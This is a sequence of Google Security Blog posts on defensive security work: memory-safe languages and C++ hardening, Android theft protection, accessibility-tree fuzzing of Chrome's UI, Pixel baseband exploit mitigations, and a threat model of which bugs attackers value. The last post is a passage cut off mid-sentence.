Posted by Alex Rebert, Security Foundations, and Chandler Carruth, Jen Engel, Andy Qin, Core Developers Error-prone interactions between software and memory1 are widely understood to create safety issues in software. It is estimated that about 70% of severe vulnerabilities2 in memory-unsafe codebases are due to memory safety bugs. Malicious actors exploit these vulnerabilities and continue to create real-world harm. In 2023, Google’s threat intelligence teams conducted an industry-wide study and observed a close to all-time high number of vulnerabilities exploited in the wild. Our internal analysis estimates that 75% of CVEs used in zero-day exploits are memory safety vulnerabilities. At Google, we have been mindful of these issues for over two decades, and are on a journey to continue advancing the state of memory safety in the software we consume and produce. Our Secure by Design commitment emphasizes integrating security considerations, including robust memory safety practices, throughout the entire software development lifecycle. This proactive approach fosters a safer and more trustworthy digital environment for everyone. This post builds upon our previously reported Perspective on Memory Safety, and introduces our strategic approach to memory safety. Our journey so far Google's journey with memory safety is deeply intertwined with the evolution of the software industry itself. In our early days, we recognized the importance of balancing performance with safety. This led to the early adoption of memory-safe languages like Java and Python, and the creation of Go. Today these languages comprise a large portion of our code, providing memory safety among other benefits. Meanwhile, the rest of our code is predominantly written in C++, previously the optimal choice for high-performance demands. We recognized the inherent risks associated with memory-unsafe languages and developed tools like sanitizers, which detect memory safety bugs dynamically, and fuzzers like AFL and libfuzzer, which proactively test the robustness and security of a software application by repeatedly feeding unexpected inputs. By open-sourcing these tools, we've empowered developers worldwide to reduce the likelihood of memory safety vulnerabilities in C and C++ codebases. Taking this commitment a step further, we provide continuous fuzzing to open-source projects through OSS-Fuzz, which helped get over 8800 vulnerabilities identified and subsequently fixed across 850 projects. Today, with the emergence of high-performance memory-safe languages like Rust, coupled with a deeper understanding of the limitations of purely detection-based approaches, we are focused primarily on preventing the introduction of security vulnerabilities at scale. Going forward: Google's two-pronged approach Google's long-term strategy for tackling memory safety challenges is multifaceted, recognizing the need to address both existing codebases and future development, while maintaining the pace of business. Our long-term objective is to progressively and consistently integrate memory-safe languages into Google's codebases while phasing out memory-unsafe code in new development. Given the amount of C++ code we use, we anticipate a residual amount of mature and stable memory-unsafe code will remain for the foreseeable future. Graphic of memory-safe language growth as memory-unsafe code is hardened and gradually decreased over time. Migration to Memory-Safe Languages (MSLs) The first pillar of our strategy is centered on further increasing the adoption of memory-safe languages. These languages drastically drive down the risk of memory-related errors through features like garbage collection and borrow checking, embodying the same Safe Coding3 principles that successfully eliminated other vulnerability classes like cross-site scripting (XSS) at scale. Google has already embraced MSLs like Java, Kotlin, Go, and Python for a large portion of our code. Our next target is to ramp up memory-safe languages with the necessary capabilities to address the needs of even more of our low-level environments where C++ has remained dominant. For example, we are investing to expand Rust usage at Google beyond Android and other mobile use cases and into our server, application, and embedded ecosystems. This will unlock the use of MSLs in low-level code environments where C and C++ have typically been the language of choice. In addition, we are exploring more seamless interoperability with C++ through Carbon, as a means to accelerate even more of our transition to MSLs. In Android, which runs on billions of devices and is one of our most critical platforms, we've already made strides in adopting MSLs, including Rust, in sections of our network, firmware and graphics stacks. We specifically focused on adopting memory safety in new code instead of rewriting mature and stable memory-unsafe C or C++ codebases. As we've previously discussed, this strategy is driven by vulnerability trends as memory safety vulnerabilities were typically introduced shortly before being discovered. As a result, the number of memory safety vulnerabilities reported in Android has decreased dramatically and quickly, dropping from more than 220 in 2019 to a projected 36 by the end of this year, demonstrating the effectiveness of this strategic shift. Given that memory-safety vulnerabilities are particularly severe, the reduction in memory safety vulnerabilities is leading to a corresponding drop in vulnerability severity, representing a reduction in security risk. Risk Reduction for Memory-Unsafe Code While transitioning to memory-safe languages is the long-term strategy, and one that requires investment now, we recognize the immediate responsibility we have to protect the safety of our billions of users during this process. This means we cannot ignore the reality of a large codebase written in memory-unsafe languages (MULs) like C and C++. Therefore the second pillar of our strategy focuses on risk reduction & containment of this portion of our codebase. This incorporates: C++ Hardening: We are retrofitting safety at scale in our memory-unsafe code, based on our experience eliminating web vulnerabilities. While we won't make C and C++ memory safe, we are eliminating sub-classes of vulnerabilities in the code we own, as well as reducing the risks of the remaining vulnerabilities through exploit mitigations. We have allocated a portion of our computing resources specifically to bounds-checking the C++ standard library across our workloads. While bounds-checking overhead is small for individual applications, deploying it at Google's scale requires significant computing resources. This underscores our deep commitment to enhancing the safety and security of our products and services. Early results are promising, and we'll share more details in a future post. In Chrome, we have also been rolling out MiraclePtr over the past few years, which effectively mitigated 57% of use-after-free vulnerabilities in privileged processes, and has been linked to a decrease of in-the-wild exploits. Security Boundaries: We are continuing4 to strengthen critical components of our software infrastructure through expanded use of isolation techniques like sandboxing and privilege reduction, limiting the potential impact of vulnerabilities. For example, earlier this year, we shipped the beta release of our V8 heap sandbox and included it in Chrome's Vulnerability Reward Program. Bug Detection: We are investing in bug detection tooling and innovative research such as Naptime and making ML-guided fuzzing as effortless and wide-spread as testing. While we are increasingly shifting towards memory safety by design, these tools and techniques remain a critical component of proactively identifying and reducing risks, especially against vulnerability classes currently lacking strong preventative controls. In addition, we are actively working with the semiconductor and research communities on emerging hardware-based approaches to improve memory safety. This includes our work to support and validate the efficacy of Memory Tagging Extension (MTE). Device implementations are starting to roll out, including within Google’s corporate environment. We are also conducting ongoing research into Capability Hardware Enhanced RISC Instructions (CHERI) architecture which can provide finer grained memory protections and safety controls, particularly appealing in security-critical environments like embedded systems. Looking ahead We believe it’s important to embrace the opportunity to achieve memory safety at scale, and that it will have a positive impact on the safety of the broader digital ecosystem. This path forward requires continuous investment and innovation to drive safety and velocity, and we remain committed to the broader community to walk this path together. We will provide future publications on memory safety that will go deeper into specific aspects of our strategy. Notes Anderson, J. Computer Security Technology Planning Study Vol II. ESD-TR-73-51, Vol. II, Electronic Systems Division, Air Force Systems Command, Hanscom Field, Bedford, MA 01730 (Oct. 1972). https://seclab.cs.ucdavis.edu/projects/history/papers/ande72.pdf  ↩ https://www.memorysafety.org/docs/memory-safety/#how-common-are-memory-safety-vulnerabilities  ↩ Kern, C. 2024. Developer Ecosystems for Software Safety. Commun. ACM 67, 6 (June 2024), 52–60. https://doi.org/10.1145/3651621 ↩ Barth, Adam, et al. “The security architecture of the chromium browser." Technical report. Stanford University, 2008. https://seclab.stanford.edu/websec/chromium/chromium-security-architecture.pdf ↩

Posted by Jianing Sandra Guo, Product Manager and Nataliya Stanetsky, Staff Program Manager, Android Janine Roberta Ferreira was driving home from work in São Paulo when she stopped at a traffic light. A man suddenly appeared and broke the window of her unlocked car, grabbing her phone. She struggled with him for a moment before he wrestled the phone away and ran off. The incident left her deeply shaken. Not only was she saddened at the loss of precious data, like pictures of her nephew, but she also felt vulnerable knowing her banking information was on her phone that was just stolen by a thief. Situations like Janine’s highlighted the need for a comprehensive solution to phone theft that exceeded existing tools on any platform. Phone theft is a widespread concern in many countries – 97 phones are robbed or stolen every hour in Brazil. The GSM Association reports millions of devices stolen every year, and the numbers continue to grow. With our phones becoming increasingly central to storing sensitive data, like payment information and personal details, losing one can be an unsettling experience. That’s why we developed and thoroughly beta tested, a full suite of features designed to protect you and your data at every stage – before, during, and after device theft. These advanced theft protection features are now available to users around the world through Android 15 and a Google Play Services update (Android 10+ devices). AI-powered protection for your device the moment it is stolen Theft Detection Lock uses powerful AI to proactively protect you at the moment of a theft attempt. By using on-device machine learning, Theft Detection Lock is able to analyze various device signals to detect potential theft attempts. If the algorithm detects a potential theft attempt on your unlocked device, it locks your screen to keep thieves out. To protect your sensitive data if your phone is stolen, Theft Detection Lock uses device sensors to identify theft attempts. We’re working hard to bring this feature to as many devices as possible. This feature is rolling out gradually to ensure compatibility with various devices, starting today with Android devices that cover 90% of active users worldwide. Check your theft protection settings page periodically to see if your device is currently supported. In addition to Theft Detection Lock, Offline Device Lock protects you if a thief tries to take your device offline to extract data or avoid a remote wipe via Android’s Find My Device. If an unlocked device goes offline for prolonged periods, this feature locks the screen to ensure your phone can’t be used in the hands of a thief. If your Android device does become lost or stolen, Remote Lock can quickly help you secure it. Even if you can’t remember your Google account credentials in the moment of theft, you can use any device to visit Android.com/lock and lock your phone with just a verified phone number. Remote Lock secures your device while you regain access through Android’s Find My Device – which lets you secure, locate or remotely wipe your device. As a security best practice, we always recommend backing up your device on a continuous basis, so remotely wiping your device is not an issue. These features are now available on most Android 10+ devices1 via a Google Play Services update and must be enabled in settings. Advanced security to deter theft before it happens Android 15 introduces new security features to deter theft before it happens by making it harder for thieves to access sensitive settings, apps, or reset your device for resale: Changes to sensitive settings like Find My Device now require your PIN, password, or biometric authentication. Multiple failed login attempts, which could be a sign that a thief is trying to guess your password, will lock down your device, preventing unauthorized access. And enhanced factory reset protection makes it even harder for thieves to reset your device without your Google account credentials, significantly reducing its resale value and protecting your data. Later this year, we’ll launch Identity Check, an opt-in feature that will add an extra layer of protection by requiring biometric authentication when accessing critical Google account and device settings, like changing your PIN, disabling theft protection, or accessing Passkeys from an untrusted location. This helps prevent unauthorized access even if your device PIN is compromised. Real-world protection for billions of Android users By integrating advanced technology like AI and biometric authentication, we're making Android devices less appealing targets for thieves to give you greater peace of mind. These theft protection features are just one example of how Android is working to provide real-world protection for everyone. We’re dedicated to working with our partners around the world to continuously improve Android security and help you and your data stay safe. You can turn on the new Android theft features by clicking here on a supported Android device. Learn more about our theft protection features by visiting our help center. Notes Android Go smartphones, tablets and wearables are not supported ↩

Posted by Adrian Taylor, Security Engineer, Chrome .code { font-family: "Courier New", Courier, monospace; font-size: 11.8px; font-weight: bold; background-color: #f4f4f4; padding: 2px; border: 1px solid #ccc; border-radius: 2px; white-space: pre-wrap; display: inline-block; line-height: 12px; } .highlight { color: red; } Chrome’s user interface (UI) code is complex, and sometimes has bugs. Are those bugs security bugs? Specifically, if a user’s clicks and actions result in memory corruption, is that something that an attacker can exploit to harm that user? Our security severity guidelines say “yes, sometimes.” For example, an attacker could very likely convince a user to click an autofill prompt, but it will be much harder to convince the user to step through a whole flow of different dialogs. Even if these bugs aren’t the most easily exploitable, it takes a great deal of time for our security shepherds to make these determinations. User interface bugs are often flakey (that is, not reliably reproducible). Also, even if these bugs aren’t necessarily deemed to be exploitable, they may still be annoying crashes which bother the user. It would be great if we could find these bugs automatically. If only the whole tree of Chrome UI controls were exposed, somehow, such that we could enumerate and interact with each UI control automatically. Aha! Chrome exposes all the UI controls to assistive technology. Chrome goes to great lengths to ensure its entire UI is exposed to screen readers, braille devices and other such assistive tech. This tree of controls includes all the toolbars, menus, and the structure of the page itself. This structural definition of the browser user interface is already sometimes used in other contexts, for example by some password managers, demonstrating that investing in accessibility has benefits for all users. We’re now taking that investment and leveraging it to find security bugs, too. Specifically, we’re now “fuzzing” that accessibility tree - that is, interacting with the different UI controls semi-randomly to see if we can make things crash. This technique has a long pedigree. Screen reader technology is a bit different on each platform, but on Linux the tree can be explored using Accerciser. Screenshot of Accerciser showing the tree of UI controls in Chrome All we have to do is explore the same tree of controls with a fuzzer. How hard can it be? “We do this not because it is easy, but because we thought it would be easy” - Anon. Actually we never thought this would be easy, and a few different bits of tech have had to fall into place to make this possible. Specifically, There are lots of combinations of ways to interact with Chrome. Truly randomly clicking on UI controls probably won’t find bugs - we would like to leverage coverage-guided fuzzing to help the fuzzer select combinations of controls that seem to reach into new code within Chrome. We need any such bugs to be genuine. We therefore need to fuzz the actual Chrome UI, or something very similar, rather than exercising parts of the code in an unrealistic unit-test-like context. That’s where our InProcessFuzzer framework comes into play - it runs fuzz cases within a Chrome browser_test; essentially a real version of Chrome. But such browser_tests have a high startup cost. We need to amortize that cost over thousands of test cases by running a batch of them within each browser invocation. Centipede is designed to do that. But each test case won’t be idempotent. Within a given invocation of the browser, the UI state may be successively modified by each test case. We intend to add concatenation to centipede to resolve this. Chrome is a noisy environment with lots of timers, which may well confuse coverage-guided fuzzers. Gathering coverage for such a large binary is slow in itself. So, we don’t know if coverage-guided fuzzing will successfully explore the UI paths here. All of these concerns are common to the other fuzzers which run in the browser_test context, most notably our new IPC fuzzer (blog posts to follow). But the UI fuzzer presented some specific challenges. Finding UI bugs is only useful if they’re actionable. Ideally, that means: Our fuzzing infrastructure gives a thorough set of diagnostics. It can bisect to find when the bug was introduced and when it was fixed. It can minimize complex test cases into the smallest possible reproducer. The test case is descriptive and says which UI controls were used, so a human may be able to reproduce it. These requirements together mean that the test cases should be stable across each Chrome version - if a given test case reproduces a bug with Chrome 125, hopefully it will do so in Chrome 124 and Chrome 126 (assuming the bug is present in both). Yet this is tricky, since Chrome UI controls are deeply nested and often anonymous. Initially, the fuzzer picked controls simply based on their ordinal at each level of the tree (for instance “control 3 nested in control 5 nested in control 0”) but such test cases are unlikely to be stable as the Chrome UI evolves. Instead, we settled on an approach where the controls are named, when possible, and otherwise identified by a combination of role and ordinal. This yields test cases like this: action { path_to_control { named { name: "Test - Chromium" } } path_to_control { anonymous { role: "panel" } } path_to_control { anonymous { role: "panel" } } path_to_control { anonymous { role: "panel" } } path_to_control { named { name: "Bookmarks" } } take_action { action_id: 12 } } Fuzzers are unlikely to stumble across these control names by chance, even with the instrumentation applied to string comparisons. In fact, this by-name approach turned out to be only 20% as effective as picking controls by ordinal. To resolve this we added a custom mutator which is smart enough to put in place control names and roles which are known to exist. We randomly use this mutator or the standard libprotobuf-mutator in order to get the best of both worlds. This approach has proven to be about 80% as quick as the original ordinal-based mutator, while providing stable test cases. Chart of code coverage achieved by minutes fuzzing with different strategies So, does any of this work? We don’t know yet! - and you can follow along as we find out. The fuzzer found a couple of potential bugs (currently access restricted) in the accessibility code itself but hasn’t yet explored far enough to discover bugs in Chrome’s fundamental UI. But, at the time of writing, this has only been running on our ClusterFuzz infrastructure for a few hours, and isn’t yet working on our coverage dashboard. If you’d like to follow along, keep an eye on our coverage dashboard as it expands to cover UI code.

Posted by Sherk Chung, Stephan Chen, Pixel team, and Roger Piqueras Jover, Ivan Lozano, Android team Pixel phones have earned a well-deserved reputation for being security-conscious. In this blog, we'll take a peek under the hood to see how Pixel mitigates common exploits on cellular basebands. Smartphones have become an integral part of our lives, but few of us think about the complex software that powers them, especially the cellular baseband – the processor on the device responsible for handling all cellular communication (such as LTE, 4G, and 5G). Most smartphones use cellular baseband processors with tight performance constraints, making security hardening difficult. Security researchers have increasingly exploited this attack vector and routinely demonstrated the possibility of exploiting basebands used in popular smartphones. The good news is that Pixel has been deploying security hardening mitigations in our basebands for years, and Pixel 9 represents the most hardened baseband we've shipped yet. Below, we’ll dive into why this is so important, how specifically we’ve improved security, and what this means for our users. The Cellular Baseband The cellular baseband within a smartphone is responsible for managing the device's connectivity to cellular networks. This function inherently involves processing external inputs, which may originate from untrusted sources. For instance, malicious actors can employ false base stations to inject fabricated or manipulated network packets. In certain protocols like IMS (IP Multimedia Subsystem), this can be executed remotely from any global location using an IMS client. The firmware within the cellular baseband, similar to any software, is susceptible to bugs and errors. In the context of the baseband, these software vulnerabilities pose a significant concern due to the heightened exposure of this component within the device's attack surface. There is ample evidence demonstrating the exploitation of software bugs in modem basebands to achieve remote code execution, highlighting the critical risk associated with such vulnerabilities. The State of Baseband Security Baseband security has emerged as a prominent area of research, with demonstrations of software bug exploitation featuring in numerous security conferences. Many of these conferences now also incorporate training sessions dedicated to baseband firmware emulation, analysis, and exploitation techniques. Recent reports by security researchers have noted that most basebands lack exploit mitigations commonly deployed elsewhere and considered best practices in software development. Mature software hardening techniques that are commonplace in the Android operating system, for example, are often absent from cellular firmwares of many popular smartphones. There are clear indications that exploit vendors and cyber-espionage firms abuse these vulnerabilities to breach the privacy of individuals without their consent. For example, 0-day exploits in the cellular baseband are being used to deploy the Predator malware in smartphones. Additionally, exploit marketplaces explicitly list baseband exploits, often with relatively low payouts, suggesting a potential abundance of such vulnerabilities. These vulnerabilities allow attackers to gain unauthorized access to a device, execute arbitrary code, escalate privileges, or extract sensitive information. Recognizing these industry trends, Android and Pixel have proactively updated their Vulnerability Rewards Program in recent years, placing a greater emphasis on identifying and addressing exploitable bugs in connectivity firmware. Building a Fortress: Proactive Defenses in the Pixel Modem In response to the rising threat of baseband security attacks, Pixel has incrementally incorporated many of the following proactive defenses over the years, with the Pixel 9 phones (Pixel 9, Pixel 9 Pro, Pixel 9 Pro XL and Pixel 9 Pro Fold) showcasing the latest features: Bounds Sanitizer: Buffer overflows occur when a bug in code allows attackers to cram too much data into a space, causing it to spill over and potentially corrupt other data or execute malicious code. Bounds Sanitizer automatically adds checks around a specific subset of memory accesses to ensure that code does not access memory outside of designated areas, preventing memory corruption. Integer Overflow Sanitizer: Numbers matter, and when they get too large an “overflow” can cause them to be incorrectly interpreted as smaller values. The reverse can happen as well, a number can overflow in the negative direction as well and be incorrectly interpreted as a larger value. These overflows can be exploited by attackers to cause unexpected behavior. Integer Overflow Sanitizer adds checks around these calculations to eliminate the risk of memory corruption from this class of vulnerabilities. Stack Canaries: Stack canaries are like tripwires set up to ensure code executes in the expected order. If a hacker tries to exploit a vulnerability in the stack to change the flow of execution without being mindful of the canary, the canary "trips," alerting the system to a potential attack. Control Flow Integrity (CFI): Similar to stack canaries, CFI makes sure code execution is constrained along a limited number of paths. If an attacker tries to deviate from the allowed set of execution paths, CFI causes the modem to restart rather than take the unallowed execution path. Auto-Initialize Stack Variables: When memory is designated for use, it’s not normally initialized in C/C+ as it is expected the developer will correctly set up the allocated region. When a developer fails to handle this correctly, the uninitialized values can leak sensitive data or be manipulated by attackers to gain code execution. Pixel phones automatically initialize stack variables to zero, preventing this class of vulnerabilities for stack data. We also leverage a number of bug detection tools, such as address sanitizer, during our testing process. This helps us identify software bugs and patch them prior to shipping devices to our users. The Pixel Advantage: Combining Protections for Maximum Security Security hardening is difficult and our work is never done, but when these security measures are combined, they significantly increase Pixel 9’s resilience to baseband attacks. Pixel's proactive approach to security demonstrates a commitment to protecting its users across the entire software stack. Hardening the cellular baseband against remote attacks is just one example of how Pixel is constantly working to stay ahead of the curve when it comes to security. Special thanks to our colleagues who supported our cellular baseband hardening efforts: Dominik Maier, Shawn Yang, Sami Tolvanen, Pirama Arumuga Nainar, Stephen Hines, Kevin Deus, Xuan Xing, Eugene Rodionov, Stephan Somogyi, Wes Johnson, Suraj Harjani, Morgan Shen, Valery Wu, Clint Chen, Cheng-Yi He, Estefany Torres, Hungyen Weng, Jerry Hung, Sherif Hanna

Posted by Alex Gough, Chrome Security Team The Chrome Security Team is constantly striving to make it safer to browse the web. We invest in mechanisms to make classes of security bugs impossible, mitigations that make it more difficult to exploit a security bug, and sandboxing to reduce the capability exposed by an isolated security issue. When choosing where to invest it is helpful to consider how bad actors find and exploit vulnerabilities. In this post we discuss several axes along which to evaluate the potential harm to users from exploits, and how they apply to the Chrome browser. Historically the Chrome Security Team has made major investments and driven the web to be safer. We pioneered browser sandboxing, site isolation and the migration to an encrypted web. Today we’re investing in Rust for memory safety, hardening our existing C++ code-base, and improving detection with GWP-asan and lightweight use-after-free (UAF) detection. Considerations of user-harm and attack utility shape our vulnerability severity guidelines and payouts for bugs reported through our Vulnerability Rewards Program. In the longer-term the Chrome Security Team advocates for operating system improvements like less-capable lightweight processes, less-privileged GPU and NPU containers, improved application isolation, and support for hardware-based isolation, memory safety and flow control enforcement. When contemplating a particular security change it is easy to fall into a trap of security nihilism. It is tempting to reject changes that do not make exploitation impossible but only make it more difficult. However, the scale we are operating at can still make incremental improvements worthwhile. Over time, and over the population that uses Chrome and browsers based on Chromium, these improvements add up and impose real costs on attackers. Threat Model for Code Execution Our primary security goal is to make it safe to click on links, so people can feel confident browsing to pages they haven’t visited before. This document focuses on vulnerabilities and exploits that can lead to code execution, but the approach can be applied when mitigating other risks. Attackers usually have some ultimate goal that can be achieved by executing their code outside of Chrome’s sandboxed or restricted processes. Attackers seek information or capabilities that we do not intend to be available to websites or extensions in the sandboxed renderer process. This might include executing code as the user or with system privileges, reading the memory of other processes, accessing credentials or opening local files. In this post we focus on attackers that start with JavaScript or the ability to send packets to Chrome and end up with something useful. We restrict discussion to memory-safety issues as they are a focus of current hardening efforts. User Harm ⇔ Attacker Utility Chrome Security can scalably reduce risks to users by reducing attackers’ freedom of movement. Anything that makes some class of attackers’ ultimate goals more difficult, or (better) impossible, has value. People using Chrome have multiple, diverse adversaries. We should avoid thinking only about a single adversary, or a specific targeted user, the most advanced-persistent attackers or the most sophisticated people using the web. Chrome’s security protects a spectrum of people from a spectrum of attackers and risks. Focussing on a single bug, vector, attacker or user ignores the scale at which both Chrome and its attackers are operating. Reducing risks or increasing costs for even a fraction of threat scenarios helps someone, somewhere, be safer when using the web. There are still better exploits for attackers and we should recognise and prioritize efforts that meaningfully prevent or fractionally reduce the availability or utility of the best bugs and escalation mechanisms. Good Bugs and Bad Bugs All bugs are bad bugs but some bugs are more amenable to exploitation. High value bugs and escalation mechanisms for attackers have some or all of the following attributes: Reliable An exploit that sometimes crashes, or that when launched only sometimes allows for exploitation, is less useful than one that can be mechanically triggered in all cases. Crashes might lead to detection by the target or by defenders that collect the crashes. Attackers might not always have more than one chance to launch their attacks. Bugs that only surface when different threads must do things in a certain order require more use of resources or time to trigger. If attackers are willing to risk detection by causing a crash they can retry their attacks as Chrome uses a multi-process architecture for cross-domain iframes. Conversely, bugs that only occur when the main browser process shuts down are more difficult to trigger as attackers get a single attempt per session. Low-interaction Chrome exists so that people can visit websites and click on links so we take that as our baseline for minimal interaction. Exploits that only work if a user performs an action, even if that action might be expected, are more risky for an attacker. This is because the code expressing the bug must be resident on a system for longer, the exploit likely has a lower yield as the action won’t always happen, and the bug is less silent as the user might become suspicious if they seem to be performing actions they are not used to performing. Ubiquitous A bug that exists on several platforms and can be exploited the same way everywhere will be more useful than one which is only exploitable on one platform or needs to be ported to several platforms. Bugs that manifest on limited hardware types, or in fewer configurations, are only useful if the attacker has targets using them. Every bug an attacker has to integrate into their exploitation flow requires some ongoing maintenance and testing, so the fewer bugs needed the better. For Chrome some bugs only manifest on Linux, while others are present on all of our platforms. Chrome is one of the most ubiquitous software products today, but some of its libraries are even more widely used, so attackers may invest extra effort in finding and exploiting bugs in third party code that Chrome uses. Bugs that require a user to install an extension or rely on particular hardware configurations are less useful than ones reachable from any web page. Fast Attacks that require more than a few seconds to set up or execute are less likely to succeed and more likely to be caught. It is more difficult to test and develop a reliable exploit using a slow bug as the compile-test-debug cycle will be stretched. Scriptable Bugs that require an exploit to perform grooming or state manipulation to succeed are more valuable if their environment can be scripted. The closer the scripting is to the bug, the easier it is to control the context in which the bug will be triggered. Bugs deep in a codec, or a race in a thread the attacker does not control, are more difficult to script. Scriptable bugs are more easily integrated into an exploitation flow, while bugs that are not scriptable might only be useful if they can be integrated with a related weird machine. Bugs that are adjacent to a scripting engine like JavaScript are easier to trigger - making some bugs in third party libraries more serious in Chrome than they might be in other contexts. Bugs in a tightly coupled API like WebGPU are easy to script. Chrome extensions can manipulate Chrome’s internal state and user-interface (for example, they can open, close and rearrange tabs), making some user-interaction scriptable. Easy to Test Attackers need long-term confidence in their exploits, and will want to test them against changing versions of Chrome and the operating system running Chrome. Bugs that can be automatically reproduced in a test environment can be tested easily. Bugs that can only be triggered with user interaction, or after complex network calls, or that require interaction with third-party services are harder to test. They need a complex test environment, or a patched version of Chrome that mimics the environment in a way that triggers the bug. Maintaining this sort of system takes time and resources, making such bugs less attractive. Note that being scriptable relates to the environment of the bug. Scriptable environments lend themselves to easier testing. Silent Bugs that cause side effects that can be detected are less useful than those which operate without alerting a user, modifying system state, emitting events, or causing repeatable and detectable network traffic. Side effects include metrics, crashes or slowdowns, pop ups & prompts, system logs and artifacts like downloaded files. Side effects might not alert a specific target of an attack as it happens but might lead to later identification of targeted systems. A bug that several groups know about could be detected without the attacker’s knowledge, even if it seems to succeed. Long-lived Attackers will prefer bugs that are not likely to be fixed or found by others. Analyzing and integrating a bug into an exploitation suite likely involves significant up-front work, and attackers will prefer bugs that are likely to last a long time. Many attackers sell exploits as a subscription service, and their economic model might be disrupted if they need to find bugs at a higher rate. Bugs recently introduced into a product, or that might be found with widely known fuzzing techniques, are likely to be found (and possibly fixed) faster. Targeted Attackers will try to protect their exploits from discovery and will prefer bugs that can be triggered only when they are confident they will only be exposed to chosen targets. It is relatively easy to fingerprint a web user using cookies, network knowledge and features of the web platform. Removing classes of delivery mechanisms (e.g. no unencrypted HTTP) can make it more difficult to target every exploit. Easy to escalate Modern browsers do have several mitigations that make it more difficult to exploit some bugs or bug classes. Attackers usually must take the primitives offered by a bug, then control them to achieve a sub-goal like executing arbitrary system calls. Some bugs won’t chain well to a follow-on stage, or might need significant integration effort or tooling to allow a follow-on stage to proceed. The utility of some bugs is related to how well they couple with later escalation or lateral movement mechanisms. Some bugs by themselves are not useful — but can be combined with other bugs to make them reliable or feasible. Many info leaks fit into this category. A stable read-what-where primitive or a way to probe which memory is allocated makes an arbitrary write easier to execute. If a particular escalation technique crops up often in exploit chains or examples it is worth seeing if it can be remediated. Easy to find This may be counter-intuitive but a bug that is easy to find can be useful until Chrome finds and fixes it and potential targets update. Chrome’s source code is publicly available and attackers can look for recent security or stability fixes and exploit them until the fixes are rolled out (N-days). Fuzzing finds the shallow bugs but does not hit those with even simple state requirements that are still amenable to manual discovery. An attacker may choose to specialize in finding bugs in a particular area that does not otherwise receive much security attention. Finally attackers might introduce the bug themselves in a library (a supply-chain attack). Difficult to find Some bugs might be easy to find for an attacker because they created the bug, or difficult to find because they are in an under-studied area of the code base, or behind state that is difficult to fuzz. This makes the bug, once found, more valuable as it is likely to be long-lived as other actors will be less likely to find it. Attackers willing to reverse engineer and target closed-source components of Chrome may have access to vulnerabilities that the wider security community are unlikely to discover. Attacker Goals & Economics Some attackers have a business model, others have a budget. Coarsely we worry about attackers that want to make money, and attackers that want to spy on people. Bugs and escalation mechanisms are useful to either group if they are well suited to their way of working. We can evaluate mitigations against different attacker's differing economic models. An unsophisticated actor targeting unsophisticated users might use a widely delivered unreliable attack with a low yield (e.g. encouraging people to run a malicious download). They only need to win a small fraction of the time. Other groups may do limited bug discovery but instead take short-lived, already-fixed bugs and integrate them into exploit kits. Some attackers could be modeled as having an infinite budget but they will still choose the cheapest most reliable mechanism to achieve their goals. The deprecation of Flash and the subsequent move to exploiting v8 perhaps best illustrates this. When deploying mitigations or removing attack-surface we are ultimately trying to hinder adversaries from achieving their goals. Some attackers might make different decisions if the economics of their operations are changed by reducing the yield of the bugs that enable their activities. Some actors may be willing to devote substantial resources to maintaining a capability to target people using the web - and we can only speculate about their response to changes we introduce. For these sophisticated attackers, removing whole classes of vulnerabilities or escalation mechanisms will be more effective. Avoid linear thinking We perceive successful exploits as chains — linear steps that start with a bug, proceed through various escalation stages, and achieve an attacker’s immediate goal of code execution or data access outside the sandboxed renderer process. We even ask for such chains through our Vulnerability Rewards Programme. For example, a JS type confusion allows for an out of bounds read/write in the v8 sandbox, a v8 sandbox escape bug allows read/write in the renderer, overwriting a JIT write/execute region allows for arbitrary code execution, and calls to system or browser APIs lead to a browser sandbox escape. The attacker starts with the ability to serve JavaScript to a Chrome user, and ends up with unconstrained code execution on the user’s device, presumably to later use this to meet their higher-level goals. Even useful models of layered defense tend to focus on limited paths that trigger an incident (like the single arrow often drawn piercing slices of swiss-cheese). In reality the terrain presented to the universe of attackers is a complex web of latent possibilities, some known to some, and many yet to be discovered. This is more than ‘attackers think in graphs’, as we must acknowledge that a defensive intervention can succeed even if it does not prevent every attacker from reaching every possible person they wish to exploit. Conclusion It is tempting to reject a mitigation or removal of attack surface on the basis that attackers can simply find another way to achieve their goals. However this mindset presumes the most sophisticated attackers and their most desired targets. Our frame of analysis should be wider. We must recognize that many attackers have limited capability and expertise. Some may graft N-days onto red team tools. Some may have an expert or an exploit pipeline that performs well on a small subset of the Chrome codebase, but need training or more resources to obtain useful bugs if their current domain is taken away. Some will sell exploit kits that need rewriting if an escalation mechanism is removed. Previously reliable exploits might become less reliable, or take longer. Making life more difficult for attackers helps protect people using Chrome. Although we argue that we should not “give up” on mitigations for escalation paths, it is still clearly more important to implement mitigations that make it impossible or difficult to trigger wide classes of initial vulnerabilities, or bypass a significant fraction of mitigations. Reported attacks always start with an initial vulnerability so it is tempting to invest all of our effort there, but this neglects beneficial interventions later in the attack mesh. Reductions in attacker utility translate to increases in attacker costs and reduction in aggregate risk. A mitigation or bug-reduction mechanism that affects any of the axes of utility outlined above has some value to some of the people using Chrome. Resources Project Zero: What is a "good" memory corruption vulnerability? An Introduction to Exploit Reliability & What is a "good" Linux Kernel bug? (Isosceles) Zero Day Markets with Mark Dowd (Security Cryptography Whatever podcast) Escaping the Sandbox (Chrome and Adobe Pdf Reader) on Windows, Zer0Con 2024, Zhiniang Peng, R4nger, Q4n Exploring Memory Safety in Critical Open Source Projects (CISA.gov)

Posted by Jeff Vander Stoep - Android team, and Alex Rebert - Security Foundations Memory safety vulnerabilities remain a pervasive threat to software security. At Google, we believe the path to eliminating this class of vulnerabilities at scale and building high-assurance software lies in Safe Coding, a secure-by-design approach that prioritizes transitioning to memory-safe languages. This post demonstrates why focusing on Safe Coding for new code quickly and counterintuitively reduces the overall security risk of a codebase, finally breaking through the stubbornly high plateau of memory safety vulnerabilities and starting an exponential decline, all while being scalable and cost-effective. We’ll also share updated data on how the percentage of memory safety vulnerabilities in Android dropped from 76% to 24% over 6 years as development shifted to memory safe languages. Counterintuitive results Consider a growing codebase primarily written in memory-unsafe languages, experiencing a constant influx of memory safety vulnerabilities. What happens if we gradually transition to memory-safe languages for new features, while leaving existing code mostly untouched except for bug fixes? We can simulate the results. After some years, the code base has the following makeup1 as new memory unsafe development slows down, and new memory safe development starts to take over: In the final year of our simulation, despite the growth in memory-unsafe code, the number of memory safety vulnerabilities drops significantly, a seemingly counterintuitive result not seen with other strategies: This reduction might seem paradoxical: how is this possible when the quantity of new memory unsafe code actually grew? The math The answer lies in an important observation: vulnerabilities decay exponentially. They have a half-life. The distribution of vulnerability lifetime follows an exponential distribution given an average vulnerability lifetime λ: A large-scale study of vulnerability lifetimes2 published in 2022 in Usenix Security confirmed this 